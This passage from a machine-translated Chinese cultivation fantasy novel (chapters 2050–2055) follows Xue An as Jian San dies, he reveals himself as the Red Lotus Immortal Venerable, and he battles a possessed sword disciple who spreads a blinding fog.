    When did such a young super master again appear in Kendo? Many people can''t help but wonder.


    As for this Chao Jingshan, he was even more stunned at the **** mud on the ground, and his mind was full of unbelievable question marks.


    You must know that over the years, he was going to be driven crazy by these guys.


    Even thought of suicide more than once.


    Because he has no way to get rid of these people''s entanglement.


    But he never expected that it was these hell-like demonic existences in his eyes, but under the circumstances of a few breaths, they became a piece of flesh.


    And the person who shot is a teenager who has always regarded him as an ordinary person.


    How could this not shock him.


    At this moment, Xue Anye had separated from the crowd and came under the platform.


    Jian Gong Sanjian walks Jian Zaixin caught his face, shocked all over, just about to speak.


    Xue Anye stepped into the void, and then came directly to the high platform.


    "Senior Sister Jian, what are you looking at?" A little sister asked curiously.


    Jane Zaixin looked at Xue An''s back on the high platform with a serious face, and whispered: "It''s nothing, just a little surprised!"


    at the same time.


    There was also a violent commotion in the audience.


    "Who is this boy?"


    "I don''t know! But looking at the sword intent just now, it shouldn''t be an ordinary person!"


    "Could he be the person who misses Miss Jiansan?"


    "Probably!"


    The crowd talked a lot.


    On the high platform, Xue An had already approached Jiansan, and then slowly squatted down.


    "I''m coming!"


    The corners of Jiansan''s mouth gradually raised , revealing a faint smile, but she did not look up at Xue An, but just said softly.


    "How was my performance just now?"


    Xue An was silent for a moment, then nodded, "Great!"


    "Hehe, I just practiced the sword intent with lovesickness just as you said. The effect is really good."


    Xue An did not speak, but listened quietly.


    "That''s why I was able to pick four masters in such a short period of time, and successfully promoted to the third sword!" Jian San continued babblingly.


    "But I don''t know whether I should thank you or hate you, because although my sword intent is strong, I have successfully been poisoned by Acacia!"


    Speaking of this, Jian San laughed bitterly, "I forced myself to like you. I just borrowed this method to practice, but I didn''t expect that I would really be unable to extricate myself in the end!"


    Xue An sighed softly, "I told you that Acacia is risky!"

 Chapter 2050： Failing to prove Dao Sword 1 in this life, the old lady will go down...

    Jian San smiled. In the laughter, she raised her head hard and looked at Xue An quietly, "I didn''t blame you, what are you anxious to explain?"


    Xue An stopped talking.


    "It''s a pity. Only by a little bit, I can beat Li Jingxing. By then I will be the dignified sword second!"


    Jian San''s eyes were fascinating, "In that case, I can challenge you grandiosely. As long as you are cut under the sword, then my lovesickness can be solved!"


    "You said, would I be the invincible Jianyi in the world then?" Jian San asked.


    Xue An was silent for a moment, then nodded, "Yes!"


    "Hey, I''m really happy after thinking about it! It''s a pity... I never see it again!"


    With the voice, the brilliance in Jian San''s eyes began to dim, and the wound between his chest and abdomen also faintly revealed blood.


    An extremely complicated look appeared in Xue An''s eyes.


    He didn''t know how to face this girl who regarded Kendo as his life.


    I don''t know how to face her fall.


    At this moment, Jian San suddenly chuckled, "I didn''t expect that before I died, there would be a man who would feel sorry for me!"


    With that, she turned her head strenuously and looked towards the distant stand.


    "That woman is much stronger than when she was on earth, is she your wife?"


    Xue An nodded.


    "Hey, I regret not killing her when I was on Earth!"


    Speaking of this, Jian San suddenly spit out a mouthful of pale golden blood.


    Xue Anyi grasped her thin shoulders and continued to reduce her cultivation level, and at the same time said in a deep voice, "Take a rest and stop talking!"


    "Haha, it''s useless, my sword heart is broken, even if you regain the position of the Immortal Venerable now, you won''t be able to save me!" The brilliance in Jian San''s eyes grew dimmed.


    But she tremblingly stretched out her hand and slammed into her chest and abdomen.


    With a click, her rib was broken and her hand pierced into the atrium, slowly pulling out a sparkling small sword.


    The whole audience could hear the needles quietly, and the immortal Jiujian Linghu definitely couldn''t bear it, and whispered: "Sword Heart Condensation..."


    Among the sword repairs, there is a kind of practice, that is, before the top swordsman falls, he can condense all his own kendo insights with the cultivation base, then pull it out and pass it on as a heritage.


    But this requires it to endure extremely terrifying pain.


    This is because Jian Xiu''s sword heart is already closely united with his body, regardless of each other. If they are separated from each other, it is equivalent to pulling out a person''s bones.


    But Jian San did it calmly.


    When the small sword was pulled out, she gently placed it in Xue An''s hand.


    "It''s yours!"


    The temperature in the heart of Jiansan still remained on the little sword, and Xue An was stunned in place.


    At this time, Jian San''s complexion was almost transparent, but he still smiled.


    "Do you know my name?"


    Xue An nodded, "I know, your name is Jiansan, the third three!"


    "No!" Jian San shook his head, then struggling to reach Xue An''s ear, and said softly.


    "That''s just my nickname, my real name is Shen Suqian! You have to remember this name!"


    "Okay, I will remember!"


    A blush appeared on Shen Suqian''s pale face, and she suddenly grabbed Xue An''s clothes on his chest.


    "Hug me, I''m so cold!"


    Xue An didn''t hesitate, and gently hugged her in his arms.


    Shen Suqian leaned on Xue An''s arms, a faint smile appeared at the corner of his mouth, and then whispered softly.


    "It''s so warm!"


    But her body became cold a little bit.


    "Just sleep if you are warm," Xue An said softly.


    Shen Suqian smiled lightly: "You big liar, I don''t sleep, I can''t wake up again when I sleep!"


    Although she was smiling, the scar between her chest and abdomen kept pouring out of blood, gradually becoming a blood collapse.


    Shen Suqian''s lips gradually became pale, and the brilliance in his eyes began to fade.


    She raised her head, staring at the starry sky blankly, and whispered: "Xue An!"


    "Ok!"


    "If you fail to prove Dao Sword One in this life, the old lady will come to fight again in the next life! Remember to wait for me!"


    "it is good!"


    Shen Suqian smiled satisfied, "That''s good, let''s go!"


    After all, the brilliance in her eyes dissipated like a extinguished fire.


    Xue sat quietly on the ground without speaking.


    He could feel that the body in his arms was becoming cold a little bit.


    The audience was quiet and terrible.


    After the crowd, An Yan had already burst into tears.


    After a long time, Xue An said softly: "I rarely admire anyone in my life, but you are definitely one!"


    With that, Xue An hugged her body and slowly stood up.


    "Miss Sword, it''s good to go all the way!" The old man Ye Bufan suddenly shouted.


    Many sword repairers also burst into tears, "Ms. Swordsman, go all the way!"


    At the same time, Li Jingxing, who had been sitting on the ground and closing his eyes without a word, opened his eyes without knowing when, and then slowly stood up and walked to Xue An''s side.


    "Bury her on Jianshan, I think she will like it very much!"


    Xue An nodded.


    Li Jingxing raised his eyebrows, and a sword light directly split the void in front of him.


    A big mountain faintly emerged among them.


    And on this big mountain, there are many sword monuments towering into the clouds.


    Taking the sword as the monument is the most sacred in the sword palace, and it is also where the sword mountain is dedicated to bury the sword masters of the past.


    Xue An didn''t enter, but the probe put Shen Suqian''s body into the mountain.


    In an instant.


    It seemed that I felt the arrival of the corpse, a loud noise in the mountains, and then saw a sword monument rising from the ground, and soon surpassed the monuments of the sword masters of the past, and finally reached an unprecedented height. Stopped.


    As for her body, it has been cast into it and turned into eternity.


    After all this is done.


    The aura of Li Jingxing''s whole body couldn''t help declining more and more, and even faltered, even standing still unsteady.


    This also caused a low exclamation from the audience. UU reading


    "Can you still hold it?" Xue An said lightly.


    "It''s okay, but this time my Jianxin has also been severely damaged. It will take at least three years to recover!" Li Jingxing smiled bitterly.


    Xue An nodded, "Don''t worry, there will be nothing wrong with Jian Palace with me!"


    "Yeah!" Li Jingxing also nodded, and then whispered softly: "Then please, I will enter first!"


    Having said that, Li Jingxing closed his eyes again, and in the blink of an eye he was sealed by several swordsmen, and he stood in retreat like this.


    This battle ended with one death and one injury.


    Xue An looked around the audience, and then said in a deep voice: "Jiangong''s children all turn around, and the rest of the people retreat!"


    Jane was excited when she heard the words in her heart, and when she was about to promise, she heard a cold voice from behind.


    "What kind of thing do you dare to point fingers here?"

 Chapter 2051： Double Sword Lin Tian Mu Hongxi

    Following the voice, Feng Ziming, the Venerable Evil Sword, walked out of the crowd with a sneer.


    The audience was silent, because no one thought that he would actually speak at this time.


    Jane''s face sank in her heart, and her heart was very unhappy.


    When was it the turn of an unrelated outsider to intervene in the sword palace?


    But when she was about to speak out, the Feng Ziming smiled at her.


    "Miss Jane, don''t worry, if I dare to question this, there must be a reason!"


    As he said, he raised his head and looked at Xue An with a gloomy face.


    "Boy, I don''t care what your relationship is with the lady of Jiansan, but this is not the place where you should point your fingers!"


    These words were extremely heavy, but Xue An was not angry, but looked at him quietly, and then a cold smile appeared at the corner of his mouth.


    "Oh? Then since you said that I shouldn''t be the one to blame here, then what are you?"


    "Stop the **** nonsense, tell you the truth, since I dared to say this, it naturally has the root cause, now obediently get out, otherwise don''t blame me for being rude," Feng Ziming said gloomily.


    Xue An laughed dumbly, "I really want to know, what gives you the courage to make you dare to talk to me like this?"


    In the end, a sharp and unparalleled sword intent suddenly appeared in front of Xue An, then split the void and appeared directly in front of Feng Ziming.


    Xue An is now intent on killing, and has no patience to deal with this Venerable Evil Sword who jumped out and shouted.


    Feng Ziming didn''t expect Xue An to make such a sudden move. Before he woke up, the sword had already been cut between his neck.


    He could even feel the coldness of this sharp sword intent piercing his skin, and he couldn''t help but throbbed and his eyes were full of panic.


    But in the next instant, this way was about to cut Feng Ziming''s throat, and the sword intent that cut off his head disappeared.


    To be precise, it was blocked by a hand.


    A palm with distinct joints but as pale as a dead man.


    I saw this palm lying in front of Feng Ziming''s neck, just blocking the sword intent, and then lightly held it.


    puff!


    The sword intent disappeared.


    Then the whole audience shook for it.


    Because right next to Feng Ziming, stood a man dressed in black with handsome features but extremely pale.


    Despite this, his eyes are chilling like ghost fire.


    Upon seeing this person, including Jian Zaixin, all the disciples in the sword palace were shocked, and then all bowed and saluted.


    "Meet the big brother!"


    The sound shook the four fields, which made many people feel disillusioned.


    Jiujian Xian Linghujue''s complexion also became extremely solemn, and then said softly: "The chief disciple of the sword palace, the two swords are in the sky!"


    That''s right!


    The man in black who appeared in front of Feng Ziming was the most legendary disciple of Jian Palace, and he was also the strongest successor of Li Jingxing and the future master of Buried Jianshan.


    Two swords are in the sky, Mu Hongxi.


    Feng Ziming took a step back and bowed his head respectfully.


    Mu Hongxi ignored Feng Ziming, but felt something quietly, and then a touch of playfulness appeared on that pale face.


    "Sword intent is good!"


    As he said, he slowly raised his head and looked towards Xue An.


    "But you shouldn''t have started on my people."


    "Oh? Is he yours?" Xue An asked with interest.


    "Yes!" Mu Hongxi smiled, "He is my new disciple recently. Do you have any comments?"


    As soon as this remark came out, the audience shook.


    Even Jane Zaixin and the others couldn''t help but widen his eyes, his face full of incredible expression.


    Because they hadn''t heard anything about this matter before, and even Master didn''t even know it.


    Moreover, this Venerable Evil Sword is also a giant in the sword, how could he worship Mu Hongxi as his teacher?


    This is too incredible!


    But it seemed that it was to confirm Mu Hongxi''s words, only to see the Feng Ziming shout respectfully.


    "Master!"


    This time, the audience was in an uproar.


    "What the **** is going on? Sword Palace has always been an authentic sect in kendo, and the disciples under the sect are even more carefully selected, and even if there is a slight flaw in the character, they will be expelled, but this time, how can you close Ziming like this? People are disciples? Or are they collected by big disciples like Mu Hongxi?" The old man Ye Bufan muttered to himself in astonishment.


    Not only him, almost everyone can''t figure it out.


    But the facts are in front of them, and they can''t help but believe them.


    A strange color flashed in Xue An''s eyes, and even said lightly: "Then what do you want?"


    "It''s very simple, the sword palace can only be decided by the people of the sword palace, so... you should leave as soon as possible before I change my mind!"


    Mu Hongxi''s tone was natural as if he was telling a trivial matter, but the implied threat was enough to be frightening.


    The audience was also silent.


    Because no matter how you think about it, what Mu Hongxi said makes sense.


    After all, he is the master disciple of the Sword Palace. Now that the Sword Master is in retreat, it is very reasonable and reasonable for him to control the Sword Palace.


    In contrast, no matter how strong this white-clothed boy is, he seems to be unjustified.


    Jane also showed a tangled look on Xin''s face, because she didn''t know whether she should express the suspicion in her heart.


    In fact, she hasn''t determined whether the boy in white clothes is the person she thinks.


    Because Xue An''s current cultivation base is too high, and in order to avoid trouble, his face has always been hidden.


    Therefore, Jane Zaixin just felt that the breath of the white-clothed boy was very familiar, but he was afraid to be finalized.


    and����.


    What if it is really the Red Lotus Immortal Venerable?


    After all, the big brother is the legal heir to the sword palace!


    Thinking of this, UU reading www. uukanshu.com Jane couldn''t help but sighed, then closed her mouth.


    But at this moment, Xue An suddenly chuckled, and then the laughter became louder and louder, and eventually the entire high platform began to tremble slightly.


    A cold light flashed in Mu Hongxi''s eyes.


    Feng Ziming, the Venerable Evil Sword, was even more furious, then stepped forward, raising his hand and shouting, "What are you laughing at?"


    The laughter gradually subsided, and then Xue An came down and looked down at Mu Hongxi coldly.


    "What you said is really reasonable. Of course, the people in the sword palace should be the masters, but do you know who I am?"


    Mu Hongxi shook her head, "I don''t know, I don''t want to know, because who you are doesn''t matter at all, even if you are strong, I will decide the sword palace, not you!"


    "That''s good!" Xue An applauded lightly, then looked at Mu Hongxi with a smile but a sharp cold light suddenly flashed in his eyes.


    "But what if I am the real sword palace person, and you are just a liar?"

 Chapter 2052： Evil walking

    As soon as this remark came out, the audience shook.


    Many people were surprised and incomprehensible.


    What do you mean?


    Who is this boy in white?


    Mu Hongxi''s complexion remained unchanged, but she smiled coldly, "You mean you are also from the sword palace?"


    "Of course!" Xue An said lightly.


    Mu Hongxi sneered, "What a joke, you said you are a member of the Sword Palace, but as the head disciple of the Sword Palace, I know all the disciples under my hand, why have I never seen you?"


    "Yes! You are purely eloquent and eloquent!" Feng Ziming echoed even more sarcastically.


    But Xue An''s cold eyes made him swallow all the words that followed.


    Immediately afterwards, Xue An looked at this Mu Hongxi deeply.


    "Since you want to know so much, then I ask you, how many big walks are there under the gate of the sword palace?"


    "Of course it is the Eight Great Walks."


    "Who is there?"


    "I am with two swords facing the sky, with three swords walking in the back, Junior Sister Jian, and so on, until the last eight swords apostle, what? Is there a problem?" Mu Hongxi sat firmly on the Diaoyutai, watching how you acted expression.


    Xue An laughed, "Very well, since it is walking with eight swords, why add you to make a total of seven swords?"


    "You mean the evil-seeking walk that no one has seen before? Hehe, that doesn''t exist at all. I even asked Master specifically about this."


    "What did he say?" Xue An said lightly.


    "He said, when you exist, then he exists, when he does not exist, then he does not exist!"


    Speaking of this, Mu Hongxi raised her head and sneered at Xue An.


    "What? You don''t want to say that you are the one walking in search of evil, right?"


    The words are full of sarcasm and ridicule.


    Because everyone knows that this is almost impossible.


    If there really is this evil walker, he must be very old. After all, he has never seen Mu Hongxi, who has been a beginner for hundreds of years. It is conceivable how early he joined the sword palace.


    As for the others, they also shook their heads, thinking that this is absolutely impossible.


    Only this Jane''s eyes gradually widened.


    Because she suddenly thought of what she had said when she first saw Xue An.


    Those words seem to be very familiar with his master.


    Could it be...


    Just when this Jane faintly guessed something in her heart, she saw Xue An laugh.


    "Although I have always felt that this title is a bit secondary, but I have to say that you did get it right!"


    All of a sudden, the audience was terrified.


    Almost everyone''s eyes widened in an instant.


    what?


    This young man is actually the one who only exists in the legend, and no one has seen the evil walk?


    How is this possible?


    Mu Hongxi shook slightly, but Xuan even sneered.


    "You said you were it? What about the evidence?"


    "Yes, you said that you are walking in search of evil, so you can show evidence!" Feng Ziming also yelled.


    "Evidence? That''s good, then I will give you evidence!"


    The words fell, but Xue An suddenly stepped down.


    boom!


    With his toes as the center, countless sword lights appeared in an instant, and then slowly revolved around Xue An.


    At the same time, the sword tips all pointed towards Mu Hongxi, the sword glow was fluctuating, and there seemed to be a faint tendency to land.


    This kind of sword power also shocked many people.


    And Jane Zaixin finally confirmed the guess in her heart and couldn''t help but blurt out.


    "It''s Master Xianzun!"


    It''s not just her.


    Many people finally noticed the strangeness in Xue An''s sword intent at this moment.


    "It''s the red lotus sword intent!"


    "Gosh, it turns out he is the Red Lotus Immortal Venerable!"


    The exclamation sounded one after another, and everyone looked terrified.


    Because no one thought that the Red Lotus Immortal Venerable, who was being wanted by the People''s Palace, Xuan Ming Ling, and the major sects, would actually appear here, and he kept saying that he was the evil-seeking walk of the sword palace.


    Mu Hongxi also changed in anger, but immediately he calmed down, and then sneered.


    "No wonder the sword intent is so tyrannical, it turned out to be the prestigious Immortal Lord! But I still said that, even if you are strong, as long as you are not from the sword palace, you must not interfere with my sword palace!"


    "What''s more, you said that you are walking in search of evil. Is this the evidence you gave?"


    Xue An stood surrounded by ten thousand swords, looking down at Mu Hongxi condescendingly, with the corners of his mouth slowly raised.


    "I suddenly found out that your existence is really hard-mouthed! It''s already this time, are you still trying to cover yourself?"


    "Whether I am walking in search of evil is not important anymore, the key is you!"


    "What''s wrong with me?" Mu Hongxi said coldly, but there was a panic in his eyes.


    A cold light flashed in Xue An''s eyes, "I said before, you are a liar!"


    "And the evidence I gave you lies here!"


    After that, Xue An raised his hand and pointed down, and shouted coldly: "Sword of evil, kill!"


    boom!


    Hundreds of millions of sword lights poured down like a torrential rain.


    Under the supreme sword power, the strong become ordinary people, and the giants are also ants.


    Everyone was disgusted.


    But these sword lights seemed to have a spiritual body, and they passed through the crowd mightily, leaving most people unscathed.


    Only a few people screamed, and then they were swallowed by the torrent of swordsmanship that looked like a dragon.


    Hey.


    The sword energy gnawed away, leaving behind the thick bones.


    But this was just a small battle at the outermost periphery, and the real battlefield core was on Mu Hongxi and Feng Ziming.


    I saw Jian Mang rushing towards the two madly, but in the blink of an eye he shattered Feng Ziming''s body guard sword energy.


    Feng Ziming was so scared that the souls of the dead screamed, "Master, help me!"


    The voice just fell, but seeing an abnormal flush on Mu Hongxi''s pale face, the palm of her hand jerked.


    Feng Ziming was dragged to the front, and he was temporarily out of the siege of these evil-seeking sword energy.


    But this is just the beginning.


    As these sword qi torrents became more and more violent, their attacks gradually increased.


    In the blink of an eye, Mu Hongxi''s body guard sword qi had been shattered hundreds of layers.


    The sheer amount of consumption made this Mu Hongxi look deeply tired.


    Seeing him will fall to the ground.


    Jian Zaixin and many Sword Palace disciples couldn''t help but bowed and saluted Xue An.


    "Master Xianzun let go of the big brother!"


    "Big brother already knows that he was wrong He is also thinking about the sword palace, please let him go!"


    These pleading voices one after another.


    But Xue An was not moved at all, but sneered slightly.


    "Big brother...hehe! Do you really think... he is still your big brother?"


    As soon as the voice fell, I saw that the embarrassed Mu Hongxi suddenly raised her head and let out a roar, and then her eyes became scarlet.


    Not only that, around his body, layers of black sword aura suddenly appeared, setting off his face extremely hideously and terribly, then raised his hand and grabbed the shoulder of the nearest Feng Ziming.


    Feng Ziming was frightened and screamed hysterically like a little girl, "Master, it''s me..."


    But it was too late, I saw that Mu Hongxi was like a demon possessed, suddenly biting on Feng Ziming''s throat, and then sucking.

 Chapter 2053： true colors

    In an instant, Feng Ziming''s body began to lose weight sharply at a speed visible to the naked eye.


    However, after a few breaths, he became like a skeleton, skinny and sunken in the eye sockets, and he became weak with howls.


    Such a terrifying scene also shocked everyone present.


    "God, this...what''s going on? What happened to him?" someone exclaimed.


    Xue An looked at him coldly, and said lightly: "He was parasitized by evil things outside the sky, now he... is no longer a human!"


    As soon as this remark came out, Jian Zaixin waiting for the sword palace disciples were all stupid.


    Evil outside the sky?


    What it is?


    And how could Big Brother be invaded by demons?


    You must know that he is the existence in the sword palace second only to master Li Jingxing in strength.


    But the facts are now in front of them, Jane Zaixin and others can only stare blankly.


    And it seemed to be to confirm Xue An''s words, only to see Mu Hongxi suddenly let go of her mouth, and then as if throwing trash, Feng Ziming who had been sucked into a corpse was thrown aside.


    With a click, Feng Ziming''s body broke into two pieces directly from the middle, but there was no blood flowing out of it, only the dense bones were exposed, but it was also weathered soon.


    The dignified Venerable Evil Sword, a kendo giant, ended up in this way.


    But the instigator, Mu Hongxi, didn''t even look at his corpse. Instead, she rolled her eyelids, looked around the audience with those scarlet, **** eyes, and then laughed strangely.


    The laughter was hoarse and unpleasant, as if someone was scraping glass with sharp nails, and the hairs all over his body stood up.


    Immediately afterwards, from the depths of Mu Hongxi''s throat came a vague, but full of evil voice.


    "Hey, you all have to die!"


    As he said, around his body, black sword lights formed in an instant, spreading directly like layers of waves.


    The speed and power are so fast that he obviously wants to kill all those present.


    Xue An snorted and suddenly stepped off.


    Boom!


    After a loud noise, with Mu Hongxi as the center, the void tens of miles around vibrated together, directly shattering these black sword lights into invisible.


    Immediately afterwards, Xue An''s figure appeared in front of Mu Hongxi, and then he cut out with a sword.


    boom!


    This sword was simple and unpretentious, but it directly flew Mu Hongxi out of the place, and it was only a few miles away before it could be stopped.


    Looking at Mu Hongxi at this time, there was a huge sword mark starting from the center of the eyebrow and extending to the lower abdomen.


    Black blood rushed out from the wound, and after it dripped, it corroded a big hole in the ground.


    But Xue An didn''t have any lightness on this.


    Because he knows that this is just the beginning.


    really.


    The sword wound on Mu Hongxi''s body recovered in an instant, and his body began to tremble violently.


    As if countless strange snakes were about to come out of his body, Mu Hongxi''s body began to bulge in various big bags.


    Mu Hongxi let out an extremely painful howl, apparently suffering unimaginable pain, and even that originally handsome face became extremely hideous.


    suddenly.


    All the big bags on Mu Hongxi''s body burst together, and his whole body was like a torn towel, and his body began to twist extremely.


    In the blink of an eye, his upper body twisted in a circle, and at the same time his throat was still chucking noises.


    The scalp of everyone watching such a strange and unspeakable scene is numb.


    Xue An narrowed his eyes slightly, then raised his hand and swept away towards Mu Hongxi with a flood of sword energy.


    But before these invincible surges of sword energy rushed to Mu Hongxi, they were blocked by a faint black light curtain.


    Immediately afterwards, these sword qi torrents began to blacken quickly, and finally they were forcibly merged into one body, and then quickly converged in Mu Hongxi''s body.


    Click, click.


    Mu Hongxi has changed his appearance drastically with the sound of the friction of bone dislocation.


    I saw that his originally slender body became bloated, and large black spots appeared on his handsome face.


    Along the corners of his mouth, foul-smelling and corrosive mucus was dripping.


    Both hands are transformed from the elbow into two three-sided long swords with sharp edges.


    The most important thing is his eyes, with a dark red hidden in the pure black, like the deepest and most terrifying nightmare, which makes people crazy at a glance.


    hiss!


    Such a deformed monster made everyone gasp.


    Xue An smiled coldly, "Have you finally revealed your true colors."


    Mu Hongxi, or Mu Hongxi who was parasitized by the evil creature outside of the sky, couldn''t help laughing.


    "Red Lotus Immortal Venerable, you are indeed a little capable, and you can see through my disguise, no wonder the triangle head will be defeated by your hands."


    "Oh? Let''s put it this way... You and the triangle head were originally in the same group?" Xue An raised his eyebrows slightly.


    "Yes, but don''t think I will be defeated by a little guy in an ant nest like you, like that trash!"


    With that, the three-sided sharp sword made by Mu Hongxi''s hands began to grow gradually, and Jiejie smiled strangely.


    "You know that I only wanted to kill all these sword repairs this time, but I didn''t expect you to appear too. This is really a surprise! So..."


    A look of greed flashed in Mu Hongxi''s eyes, "Stop it!"


    As soon as the voice fell, Mu Hongxi had disappeared in place.


    But Xue An didn''t panic at all, but leaned behind him casually.


    clang!


    A huge sound of gold and iron.


    Xue An��s hand that reached his back held a sword-qi transformed image, which just blocked the one who did not know when to lurch behind Xue An, and unconsciously wanted to attack Xue An��s Mu Hongxi. One sword.


    The three-sided long sword was shaking unceasingly, and even with this Mu Hongxi, he backed out again and again.


    The blow was so unexpected and even Mu Hongxi''s eyes showed a touch of consternation.


    He didn''t expect that Xue An''s reaction would be so fast.


    And at this moment, I saw Xue An lightly said: "You made a mistake just now. It is my unexpected joy that you are here!"


    After saying this, the Jian Qi Faxiang in Xue An''s hand burst open.


    The distance between the two at this moment is so close that even Mu Hongxi has no time to react.


    These sword lights have pierced his body.


    "Ah ah ah ah ah bastard, actually dare to hurt me, I will crush you a little bit!" Mu Hongxi howled miserably, and then the whole body began to soar again.


    In an instant, the previous scars disappeared without a trace, and Mu Hongxi had become an alien monster with a height of more than five meters and knotted muscles.


    Seeing that his eyes were blood-red, he raised his hand and slashed down towards Xue An.


    The sharp three-sided long sword cut through the sky, and slashed towards Xue An with a sharp whistling.

 Chapter 2054： Nightmare fog

    But Xue An didn''t retreat but moved forward instead, took a step forward and rushed directly to Mu Hongxi''s chest and abdomen, then Guanghua flashed in his eyes, turned the sword with his hand, and directly inserted.


    puff!


    Black blood splashed out.


    Mu Hongxi let out a painful roar, then raised his hand in anger, trying to kill Xue An on the spot.


    But his wishful thinking still fell through.


    Xue An didn''t make any stop at all, with his palm horizontally, he picked up and flew out at an angle.


    Wherever he went, Mu Hongxi''s hard bones and muscles were like butter, which was directly cut by Xue An.


    The whole process is complicated, but in fact it only took a few moments.


    When Xue An appeared in the void not far away, with his palm obliquely downward, drying the black blood.


    Most of Mu Hongxi''s body has been cut open by this huge scar, and the internal organs have all fallen down. Among them, a huge black heart can be seen beating non-stop.


    The audience was silent.


    Because people were frightened by this unprecedented fierce battle.


    Who would have thought that the sword palace''s double swords Lintian would have turned into this look like a human being and a ghost.


    When fighting against Xue An, but one face-to-face was almost cut in half.


    This has made many people feel mad.


    At this time, Xue An''s mouth gradually raised, revealing a smile of disdain.


    "Is that the only thing you can do? It seems that you are not as good as the triangular head, and you dare to scream and kill me?"


    Mu Hongxi gasped violently, and the blood rushing out along the wound gradually stopped, and then began to heal little by little.


    But because the wound was so big, even with his abnormal recovery ability, it would take a while to heal completely.


    Despite this, Mu Hongxi still stared at Xue An, her eyes filled with hatred.


    "It seems that I really underestimated you. Your understanding and mastery of kendo is good even if you put it outside the heavens, but do you think that is enough?"


    Speaking of this, a deep mocking color appeared on Mu Hongxi''s face.


    "For those of you who haven''t seen the Great Thousand World, even if you have a little cultivation base, before I wait for existence, you are still just a stronger ant!"


    Following his voice, his body changed again.


    The tall body began to shrink, and the bloated body was also collapsing.


    Soon, he became extremely thin, but his muscles showed a faint metallic luster. At first glance, he looked like a long sword.


    "Today, I will let you know what is true kendo!"


    Words fall.


    This Mu Hongxi disappeared into the void again.


    This time, the disappearance is the same as before.


    It disappeared suddenly before, without any warning.


    This time it faded a little bit in the air.


    However, this seemingly ordinary disappearance made Xue An''s complexion extremely solemn.


    Because at this moment, Xue An could not feel the existence of this Mu Hongxi.


    Although Mu Hongxi had disappeared before, his aura actually still existed.


    That''s why Xue An took it so indifferently.


    But this time, the surrounding emptiness was empty, there was no aura about Mu Hongxi.


    Imagine that you are fighting with the enemy, but the enemy suddenly disappears. You don''t know when he will take action, or even where he is.


    This feeling is terrible.


    But soon Xue An calmed down, and then the brilliance flashed in his eyes, and huge divine thoughts surged out and began to crush all the void around him with his invincible force.


    Xue An��s response is simple and rude.


    Are you hiding in the void and not coming out?


    Then I will explode all the void with my spiritual thoughts!


    See where else you can hide!


    really.


    The simplest method is often the most effective.


    When the void was continuously crushed by Xue An''s spiritual thoughts, this Mu Hongxi couldn''t help falling out of it in embarrassment.


    Then he roared angrily: "Red Lotus Immortal Venerable, aren''t you a sword repairman? Why do you still have such a powerful spirit?"


    Xue An smiled faintly, "Who told you that Jian Xiu can''t have strong spiritual thoughts?"


    With that, the huge divine mind locked Mu Hongxi firmly in it like a cage.


    Mu Hongxi turned pale, but soon calmed down, and then sneered.


    "Well, you forced me!"


    As soon as the voice fell, Mu Hongxi''s body suddenly exploded.


    That''s right.


    It''s a burst in the literal sense.


    But although it was fried to powder, no blood came out.


    On the contrary, these powders turned into a faint mist, and then quickly diffused.


    As it spreads, the fog is constantly increasing.


    In the blink of an eye, the entire high platform and the nearby stands were obscured by the thick fog that could not be removed.


    Everyone panicked.


    Because people were horrified to discover that the fog was not only covering people''s sight, but also including divine minds. All the spells of detection and detection had failed.


    "Ahhhhh, what is going on? People? Why can''t I see anything?" someone exclaimed.


    "Damn it, who is moving, that''s me!"


    "Don''t act rashly, otherwise you may accidentally hurt your companions!"


    Suspicious and disturbed shouts one after another.


    Even Xue An couldn''t help but whispered slightly.


    Because even with the strength of his divine consciousness, he was completely shielded by the dense fog at this moment, and he became blind.


    At a time when people are panicking and commotion.


    There was a burst of triumphant laughter in the thick fog.


    "Don''t do unnecessary struggles. This mist can shield all prying eyes. It is not something you can break through. The only thing you can do now is to obediently enjoy the meal I prepared for you! As for Xue An...I will be a little bit Tortured you to death, hahahahahahaha."


    The laughter seemed close to everyone''s ears.


    Many people are even more disillusioned.


    But because of the obstruction of the fog, they can''t perceive the existence of people around them at all. This kind of artificial isolation and loneliness is even more crazy.


    And when everyone was in a panic, a lot of faint shadows suddenly appeared in this mist.


    The shadow appeared invisible and innocently behind the crowd, and then pierced a sword.


    puff!


    The black dagger pierced the skin and splashed with bright red blood.


    Many people cried out in pain and turned around to fight back.


    But when they turned around, there was still a mist in front of them, and there was nothing strange.


    But this kind of game-like killing is still going on The screams of companions keep ringing in my ears, but I can''t even see the shadow of the enemy.


    This kind of powerlessness has made many stalwart sword repairers appear desperate.


    But at this moment, Xue An''s indifferent voice suddenly rang in everyone''s ears.


    "Everyone listen to my orders!"


    The crowd was quiet.


    Immediately afterwards, Xue An slowly said: "What he wants is to make you panic, so that he has a chance to take advantage of it, so the best thing you should do now is to calm down! Otherwise, you will definitely die!"


    Those who can appear here are all top sword repairers, so they calmed down soon after hearing the words.


    Even if the provocations and killings of the dark shadows continued, they could not be shaken by these people.


    "Very well, now, all of you take a deep breath, hold the hands of the people around you, surround them back to back, and then... close your eyes!"

 Chapter 2055： Red lotus turns lightly, the realm of emptiness

    When I close my eyes, everything around me becomes very quiet, and I can even feel the sound of mist flowing from my ears.


    Jiujianxian Linghu stood silently, only feeling that the heart of his sword was clear and clear, without any flaws.


    In this state of clarity, everything is gone.


    Some are just the sword in his hand.


    That''s right!


    At this moment, Linghu Jue no longer had the gourd that never left his body, and replaced it with a verdant long sword that exuded a light wine fragrance.


    Just when Jiu Jianxian closed his eyes and stood with his sword.


    Suddenly.


    A faint black shadow appeared behind Linghujue, and then quietly poked out the black dagger, piercing Linghujue''s back.


    Not only was there no sound in the whole process, even the fog was not disturbed.


    But Linghu Jue, who was in an empty state, suddenly felt the heart of his sword move, and then the sword in his hand subconsciously stab back.


    puff!


    After a muffled sound, Jiu Jianxian''s long sword directly pierced the shadow.


    The black shadow struggled extremely painfully, but no blood flowed out.


    Finally, after a while, this shadow gradually dissipated and turned into nothing.


    Linghu exhaled absolutely.


    Although he didn''t open his eyes, with his superb kendo cultivation, he could also infer that the dark shadow who attacked him was dead.


    At this moment, Xue An''s indifferent voice came from his ears.


    "well done!"


    Linghu Jue was stunned, and a smile of joy appeared on his face immediately.


    Although he is a kendo giant, it is still very encouraging to get Xue An''s praise.


    After all, that is the top powerhouse who once overwhelmed the heavens, with a red lotus sword intent to dominate the crowd!


    Just as Linghu Jue continued to stand with the sword, waiting for the next opportunity to shoot.


    In the audience, killings like this are constantly unfolding.


    All the sword repairers were very surprised to find that their condition today was actually much better than usual.


